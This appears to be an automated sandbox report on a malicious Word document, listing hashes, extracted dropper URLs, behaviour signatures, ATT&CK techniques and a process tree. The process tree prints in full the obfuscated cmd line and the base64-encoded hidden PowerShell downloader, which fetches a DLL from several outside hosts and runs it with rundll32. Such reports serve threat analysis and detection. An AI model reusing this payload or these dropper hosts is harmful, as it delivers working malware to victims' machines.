d165beb4c7b032b989d7681e8d08557ed1f8c937a874fc43701aa61efa9e1992

General

Target

E3-20210112_2343.doc
Size

157KB
MD5

df66ce237d60ca77253674acb51f9420
SHA1

38e3feb8cf7b573eaaac69213809ea8300199ed8
SHA256

d165beb4c7b032b989d7681e8d08557ed1f8c937a874fc43701aa61efa9e1992
SHA512

f1a337cdc4c73d16176d9c6c6389c2dd78b14e680e028b2199d629938bb826df4182e54a5be72fe05d4f4ae9630cbbe6ff8c9e9590ed1a168344e6e7e3743e3b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://adsavy.com/files/pJ/

exe.dropper

http://bestpopping.com/electric-auger-n0ao3/Emwmeyje76/

exe.dropper

http://replanliving.co.uk/wp-content/microsoft/

exe.dropper

https://rashmimaheshwari.com/content/SIGNUP/

exe.dropper

https://www.infoquick.co.uk/myfriends/Help/

exe.dropper

http://calledtochange.org/CalledtoChange/Systems/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3808 3328 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

23 3904 powershell.exe
28 3580 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

720 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Gpsbtxyufjbtb\qawolykyduyi.gkp rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3808	3328	cmd.exe

flow	pid	process
23	3904	powershell.exe
28	3580	rundll32.exe

pid	process
720	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Gpsbtxyufjbtb\qawolykyduyi.gkp	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

508 WINWORD.EXE
508 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exerundll32.exe

pid process

3904 powershell.exe
3904 powershell.exe
3904 powershell.exe
3580 rundll32.exe
3580 rundll32.exe
3580 rundll32.exe
3580 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3904 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

508 WINWORD.EXE
508 WINWORD.EXE
508 WINWORD.EXE
508 WINWORD.EXE
508 WINWORD.EXE
508 WINWORD.EXE
508 WINWORD.EXE

pid	process
508	WINWORD.EXE
508	WINWORD.EXE

pid	process
3904	powershell.exe
3904	powershell.exe
3904	powershell.exe
3580	rundll32.exe
3580	rundll32.exe
3580	rundll32.exe
3580	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	3904	powershell.exe

pid	process
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE
508	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3808 wrote to memory of 3644	3808	cmd.exe	msg.exe
PID 3808 wrote to memory of 3644	3808	cmd.exe	msg.exe
PID 3808 wrote to memory of 3904	3808	cmd.exe	powershell.exe
PID 3808 wrote to memory of 3904	3808	cmd.exe	powershell.exe
PID 3904 wrote to memory of 3676	3904	powershell.exe	rundll32.exe
PID 3904 wrote to memory of 3676	3904	powershell.exe	rundll32.exe
PID 3676 wrote to memory of 720	3676	rundll32.exe	rundll32.exe
PID 3676 wrote to memory of 720	3676	rundll32.exe	rundll32.exe
PID 3676 wrote to memory of 720	3676	rundll32.exe	rundll32.exe
PID 720 wrote to memory of 3580	720	rundll32.exe	rundll32.exe
PID 720 wrote to memory of 3580	720	rundll32.exe	rundll32.exe
PID 720 wrote to memory of 3580	720	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3-20210112_2343.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:508

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAFYAIAAoACIARQAzADEAIgArACIAQQAiACkAIAAoACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewA1AH0AewAzAH0AewA0AH0AIgAgAC0ARgAgACcAaQBvAC4ARAAnACwAJwB5AFMAVABlAE0ALgAnACwAJwBzACcALAAnAGMAJwAsACcAVABPAHIAeQAnACwAJwBpAHIAZQAnACkAKQAgACAAOwAgACAAIAAgAFMAZQB0AC0AaQBUAGUATQAgAFYAYQByAGkAQQBiAEwAZQA6AEIAMwB3ACAAKAAgAFsAdAB5AHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADUAfQB7ADEAfQAiAC0AZgAnAEUAUgB2AGkAJwAsACcAZQBSACcALAAnAC4AUwAnACwAJwBTAHkAcwBUAEUATQAuAE4ARQB0ACcALAAnAGMAZQBwAE8ASQBuAHQAbQBhAG4AQQAnACwAJwBnACcAKQAgACkAOwAgACQAVQBlADkAeQA3ADUAYQA9ACQATgAxADYASQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASQA3ADkATQA7ACQARQA2ADYASAA9ACgAJwBPADgAJwArACcANQBVACcAKQA7ACAAIAAkAEUAMwAxAGEAOgA6ACIAYwBSAGAARQBBAHQAZQBgAGQASQBSAGUAYwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHAAagBvACcAKwAnAFIAbABnAHIAJwApACsAKAAnAG4ANQAyACcAKwAnAHAAagBvAEQAaAB3ACcAKQArACgAJwBvAGYAJwArACcAOAAnACkAKwAnADQAJwArACgAJwBwAGoAJwArACcAbwAnACkAKQAgACAALQByAEUAUABMAGEAQwBFACAAKABbAEMASABBAFIAXQAxADEAMgArAFsAQwBIAEEAUgBdADEAMAA2ACsAWwBDAEgAQQBSAF0AMQAxADEAKQAsAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEMANgAyAFMAPQAoACgAJwBHAF8AJwArACcANQAnACkAKwAnAE4AJwApADsAIAAkAGIAMwB3ADoAOgAiAHMAZQBjAFUAcgBJAGAAVAB5AHAAYABSAE8AdABgAE8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEUAMAA0AFIAPQAoACcAVgA0ACcAKwAnADgAVgAnACkAOwAkAE8AYwBtAGMAeABlADAAIAA9ACAAKAAnAFMANQAnACsAJwBfAEQAJwApADsAJABGADcAMABTAD0AKAAoACcAUwA4ACcAKwAnADIAJwApACsAJwBJACcAKQA7ACQASwB6AHIAcQA0AGoAYQA9ACQASABPAE0ARQArACgAKAAoACcAagBJAGMAUgAnACsAJwBsAGcAJwArACcAcgBuACcAKQArACcANQAyACcAKwAoACcAagBJAGMARAAnACsAJwBoACcAKQArACgAJwB3AG8AJwArACcAZgAnACkAKwAoACcAOAA0ACcAKwAnAGoAJwApACsAJwBJAGMAJwApAC0AQwBSAGUAUABMAEEAYwBlACAAKAAnAGoAJwArACcASQBjACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABPAGMAbQBjAHgAZQAwACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABaADAAMABaAD0AKAAoACcASwAnACsAJwAyADQAJwApACsAJwBYACcAKQA7ACQATgB0AHYAZABvAHUAbwA9ACgAKAAnAHcAJwArACcAXQB4AG0AWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBhAGQAcwBhACcAKwAnAHYAeQAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAGYAaQAnACkAKwAoACcAbABlAHMAJwArACcALwAnACkAKwAnAHAASgAnACsAKAAnAC8AQAAnACsAJwB3AF0AJwApACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAGIAZQAnACsAJwBzAHQAJwArACcAcABvACcAKQArACgAJwBwAHAAaQBuAGcAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBlACcAKwAnAGwAJwApACsAJwBlACcAKwAnAGMAdAAnACsAJwByAGkAJwArACcAYwAtACcAKwAoACcAYQAnACsAJwB1AGcAJwApACsAKAAnAGUAJwArACcAcgAtAG4AMABhAG8AJwApACsAKAAnADMALwBFAG0AdwBtAGUAJwArACcAeQAnACkAKwAoACcAagAnACsAJwBlADcAJwApACsAKAAnADYALwBAAHcAJwArACcAXQAnACsAJwB4AG0AWwAnACsAJwB2ADoAJwApACsAKAAnAC8AJwArACcALwByACcAKwAnAGUAcABsAGEAJwApACsAKAAnAG4AJwArACcAbABpAHYAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwAuAHUAJwArACgAJwBrAC8AdwBwAC0AYwAnACsAJwBvAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQALwBtAGkAYwAnACsAJwByACcAKQArACgAJwBvACcAKwAnAHMAJwArACcAbwBmAHQALwAnACsAJwBAAHcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvACcAKwAnAC8AcgBhAHMAaAAnACkAKwAnAG0AJwArACcAaQAnACsAKAAnAG0AYQBoAGUAcwAnACsAJwBoAHcAYQByAGkALgBjAG8AbQAnACsAJwAvACcAKwAnAGMAbwAnACsAJwBuAHQAJwApACsAKAAnAGUAbgB0AC8AUwBJAEcATgBVAFAALwBAAHcAXQAnACsAJwB4AG0AWwAnACsAJwB2AHMAJwArACcAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AaQBuAGYAJwArACcAbwAnACkAKwAnAHEAdQAnACsAJwBpAGMAJwArACcAawAuACcAKwAoACcAYwAnACsAJwBvAC4AdQBrACcAKQArACcALwBtACcAKwAoACcAeQBmACcAKwAnAHIAaQAnACsAJwBlAG4AZABzAC8AJwArACcASABlACcAKQArACgAJwBsAHAALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwBhACcAKwAnAGwAbABlAGQAJwApACsAKAAnAHQAJwArACcAbwBjACcAKQArACgAJwBoAGEAbgBnACcAKwAnAGUALgBvAHIAZwAnACkAKwAnAC8AJwArACgAJwBDAGEAbABsACcAKwAnAGUAZAB0ACcAKwAnAG8AJwApACsAKAAnAEMAaAAnACsAJwBhACcAKwAnAG4AJwArACcAZwBlACcAKwAnAC8AUwB5AHMAdABlAG0AcwAvACcAKQApAC4AIgByAEUAcABsAGAAQQBDAGUAIgAoACgAJwB3ACcAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAoACcAZABzAGUAJwArACcAdwAnACkAKwAnAGYAJwApACwAKAAnAHcAZQAnACsAKAAnAHYAdwAnACsAJwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACkAWwAyAF0AKQAuACIAUwBgAHAATABJAHQAIgAoACQASAAzADAARAAgACsAIAAkAFUAZQA5AHkANwA1AGEAIAArACAAJABHAF8ANwBMACkAOwAkAFMANwAxAEMAPQAoACcAUwAxACcAKwAnADgATQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcQB1AF8AeQBxADkAIABpAG4AIAAkAE4AdAB2AGQAbwB1AG8AKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAnACsAJwAtACcAKwAnAE8AYgBqAGUAYwB0ACcAKQAgAFMAWQBTAHQAZQBNAC4ATgBFAFQALgBXAEUAQgBDAGwAaQBFAG4AVAApAC4AIgBkAGAATwBXAE4ATABPAGAAQQBEAEYAYABpAGwAZQAiACgAJABYAHEAdQBfAHkAcQA5ACwAIAAkAEsAegByAHEANABqAGEAKQA7ACQATAA5ADEATwA9ACgAKAAnAFkANgAnACsAJwA4ACcAKQArACcAVwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASwB6AHIAcQA0AGoAYQApAC4AIgBsAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADQAOQAwADkANwApACAAewAmACgAJwByACcAKwAnAHUAbgBkAGwAbAAzADIAJwApACAAJABLAHoAcgBxADQAagBhACwAKAAnAFMAaAAnACsAKAAnAG8AdwAnACsAJwBEAGkAYQBsACcAKQArACgAJwBvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAHIAYABpAE4ARwAiACgAKQA7ACQAQwAxADEASQA9ACgAJwBTADgAJwArACcAMQBVACcAKQA7AGIAcgBlAGEAawA7ACQAQwA4ADcATAA9ACgAJwBXACcAKwAoACcAOQAwACcAKwAnAEcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AOQAxAFAAPQAoACcARQA0ACcAKwAnAF8AUwAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3808

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:3644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABzAFYAIAAoACIARQAzADEAIgArACIAQQAiACkAIAAoACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewA1AH0AewAzAH0AewA0AH0AIgAgAC0ARgAgACcAaQBvAC4ARAAnACwAJwB5AFMAVABlAE0ALgAnACwAJwBzACcALAAnAGMAJwAsACcAVABPAHIAeQAnACwAJwBpAHIAZQAnACkAKQAgACAAOwAgACAAIAAgAFMAZQB0AC0AaQBUAGUATQAgAFYAYQByAGkAQQBiAEwAZQA6AEIAMwB3ACAAKAAgAFsAdAB5AHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADUAfQB7ADEAfQAiAC0AZgAnAEUAUgB2AGkAJwAsACcAZQBSACcALAAnAC4AUwAnACwAJwBTAHkAcwBUAEUATQAuAE4ARQB0ACcALAAnAGMAZQBwAE8ASQBuAHQAbQBhAG4AQQAnACwAJwBnACcAKQAgACkAOwAgACQAVQBlADkAeQA3ADUAYQA9ACQATgAxADYASQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASQA3ADkATQA7ACQARQA2ADYASAA9ACgAJwBPADgAJwArACcANQBVACcAKQA7ACAAIAAkAEUAMwAxAGEAOgA6ACIAYwBSAGAARQBBAHQAZQBgAGQASQBSAGUAYwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHAAagBvACcAKwAnAFIAbABnAHIAJwApACsAKAAnAG4ANQAyACcAKwAnAHAAagBvAEQAaAB3ACcAKQArACgAJwBvAGYAJwArACcAOAAnACkAKwAnADQAJwArACgAJwBwAGoAJwArACcAbwAnACkAKQAgACAALQByAEUAUABMAGEAQwBFACAAKABbAEMASABBAFIAXQAxADEAMgArAFsAQwBIAEEAUgBdADEAMAA2ACsAWwBDAEgAQQBSAF0AMQAxADEAKQAsAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEMANgAyAFMAPQAoACgAJwBHAF8AJwArACcANQAnACkAKwAnAE4AJwApADsAIAAkAGIAMwB3ADoAOgAiAHMAZQBjAFUAcgBJAGAAVAB5AHAAYABSAE8AdABgAE8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEUAMAA0AFIAPQAoACcAVgA0ACcAKwAnADgAVgAnACkAOwAkAE8AYwBtAGMAeABlADAAIAA9ACAAKAAnAFMANQAnACsAJwBfAEQAJwApADsAJABGADcAMABTAD0AKAAoACcAUwA4ACcAKwAnADIAJwApACsAJwBJACcAKQA7ACQASwB6AHIAcQA0AGoAYQA9ACQASABPAE0ARQArACgAKAAoACcAagBJAGMAUgAnACsAJwBsAGcAJwArACcAcgBuACcAKQArACcANQAyACcAKwAoACcAagBJAGMARAAnACsAJwBoACcAKQArACgAJwB3AG8AJwArACcAZgAnACkAKwAoACcAOAA0ACcAKwAnAGoAJwApACsAJwBJAGMAJwApAC0AQwBSAGUAUABMAEEAYwBlACAAKAAnAGoAJwArACcASQBjACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABPAGMAbQBjAHgAZQAwACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABaADAAMABaAD0AKAAoACcASwAnACsAJwAyADQAJwApACsAJwBYACcAKQA7ACQATgB0AHYAZABvAHUAbwA9ACgAKAAnAHcAJwArACcAXQB4AG0AWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBhAGQAcwBhACcAKwAnAHYAeQAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAGYAaQAnACkAKwAoACcAbABlAHMAJwArACcALwAnACkAKwAnAHAASgAnACsAKAAnAC8AQAAnACsAJwB3AF0AJwApACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAGIAZQAnACsAJwBzAHQAJwArACcAcABvACcAKQArACgAJwBwAHAAaQBuAGcAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBlACcAKwAnAGwAJwApACsAJwBlACcAKwAnAGMAdAAnACsAJwByAGkAJwArACcAYwAtACcAKwAoACcAYQAnACsAJwB1AGcAJwApACsAKAAnAGUAJwArACcAcgAtAG4AMABhAG8AJwApACsAKAAnADMALwBFAG0AdwBtAGUAJwArACcAeQAnACkAKwAoACcAagAnACsAJwBlADcAJwApACsAKAAnADYALwBAAHcAJwArACcAXQAnACsAJwB4AG0AWwAnACsAJwB2ADoAJwApACsAKAAnAC8AJwArACcALwByACcAKwAnAGUAcABsAGEAJwApACsAKAAnAG4AJwArACcAbABpAHYAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwAuAHUAJwArACgAJwBrAC8AdwBwAC0AYwAnACsAJwBvAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQALwBtAGkAYwAnACsAJwByACcAKQArACgAJwBvACcAKwAnAHMAJwArACcAbwBmAHQALwAnACsAJwBAAHcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvACcAKwAnAC8AcgBhAHMAaAAnACkAKwAnAG0AJwArACcAaQAnACsAKAAnAG0AYQBoAGUAcwAnACsAJwBoAHcAYQByAGkALgBjAG8AbQAnACsAJwAvACcAKwAnAGMAbwAnACsAJwBuAHQAJwApACsAKAAnAGUAbgB0AC8AUwBJAEcATgBVAFAALwBAAHcAXQAnACsAJwB4AG0AWwAnACsAJwB2AHMAJwArACcAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AaQBuAGYAJwArACcAbwAnACkAKwAnAHEAdQAnACsAJwBpAGMAJwArACcAawAuACcAKwAoACcAYwAnACsAJwBvAC4AdQBrACcAKQArACcALwBtACcAKwAoACcAeQBmACcAKwAnAHIAaQAnACsAJwBlAG4AZABzAC8AJwArACcASABlACcAKQArACgAJwBsAHAALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwBhACcAKwAnAGwAbABlAGQAJwApACsAKAAnAHQAJwArACcAbwBjACcAKQArACgAJwBoAGEAbgBnACcAKwAnAGUALgBvAHIAZwAnACkAKwAnAC8AJwArACgAJwBDAGEAbABsACcAKwAnAGUAZAB0ACcAKwAnAG8AJwApACsAKAAnAEMAaAAnACsAJwBhACcAKwAnAG4AJwArACcAZwBlACcAKwAnAC8AUwB5AHMAdABlAG0AcwAvACcAKQApAC4AIgByAEUAcABsAGAAQQBDAGUAIgAoACgAJwB3ACcAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAoACcAZABzAGUAJwArACcAdwAnACkAKwAnAGYAJwApACwAKAAnAHcAZQAnACsAKAAnAHYAdwAnACsAJwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACkAWwAyAF0AKQAuACIAUwBgAHAATABJAHQAIgAoACQASAAzADAARAAgACsAIAAkAFUAZQA5AHkANwA1AGEAIAArACAAJABHAF8ANwBMACkAOwAkAFMANwAxAEMAPQAoACcAUwAxACcAKwAnADgATQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcQB1AF8AeQBxADkAIABpAG4AIAAkAE4AdAB2AGQAbwB1AG8AKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAnACsAJwAtACcAKwAnAE8AYgBqAGUAYwB0ACcAKQAgAFMAWQBTAHQAZQBNAC4ATgBFAFQALgBXAEUAQgBDAGwAaQBFAG4AVAApAC4AIgBkAGAATwBXAE4ATABPAGAAQQBEAEYAYABpAGwAZQAiACgAJABYAHEAdQBfAHkAcQA5ACwAIAAkAEsAegByAHEANABqAGEAKQA7ACQATAA5ADEATwA9ACgAKAAnAFkANgAnACsAJwA4ACcAKQArACcAVwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASwB6AHIAcQA0AGoAYQApAC4AIgBsAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADQAOQAwADkANwApACAAewAmACgAJwByACcAKwAnAHUAbgBkAGwAbAAzADIAJwApACAAJABLAHoAcgBxADQAagBhACwAKAAnAFMAaAAnACsAKAAnAG8AdwAnACsAJwBEAGkAYQBsACcAKQArACgAJwBvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAHIAYABpAE4ARwAiACgAKQA7ACQAQwAxADEASQA9ACgAJwBTADgAJwArACcAMQBVACcAKQA7AGIAcgBlAGEAawA7ACQAQwA4ADcATAA9ACgAJwBXACcAKwAoACcAOQAwACcAKwAnAEcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AOQAxAFAAPQAoACcARQA0ACcAKwAnAF8AUwAnACkA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3904

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll,ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:3676

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll,ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:720

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gpsbtxyufjbtb\qawolykyduyi.gkp",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll

MD5
175c0b41cdee6048e5cf5237ca6e00a7

SHA1
04bf57ce57b5b3cf99bae6d58f74159521fcbc60

SHA256
4e2bef981878542df9a370206f5da724a58bfc58085856163cd39500b8cc4c47

SHA512
b9d277435b47ff7e143491efb17669ad3f5964d3b05210d5b1d00e8df681d8f08878ef147cb360003e1ae45a27aceca557b47b2c4a6d9acf8a7bdcaddc535a89

Download Submit
\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll

MD5
175c0b41cdee6048e5cf5237ca6e00a7

SHA1
04bf57ce57b5b3cf99bae6d58f74159521fcbc60

SHA256
4e2bef981878542df9a370206f5da724a58bfc58085856163cd39500b8cc4c47

SHA512
b9d277435b47ff7e143491efb17669ad3f5964d3b05210d5b1d00e8df681d8f08878ef147cb360003e1ae45a27aceca557b47b2c4a6d9acf8a7bdcaddc535a89

Download Submit
memory/508-2-0x00000211416D0000-0x0000021141D07000-memory.dmp

Filesize
6.2MB

Download
memory/720-10-0x0000000000000000-mapping.dmp

Download
memory/3580-12-0x0000000000000000-mapping.dmp

Download
memory/3644-3-0x0000000000000000-mapping.dmp

Download
memory/3676-8-0x0000000000000000-mapping.dmp

Download
memory/3904-4-0x0000000000000000-mapping.dmp

Download
memory/3904-5-0x00007FF99BFF0000-0x00007FF99C9DC000-memory.dmp

Filesize
9.9MB

Download
memory/3904-6-0x000001C9EEE10000-0x000001C9EEE11000-memory.dmp

Filesize
4KB

Download
memory/3904-7-0x000001C9EF140000-0x000001C9EF141000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads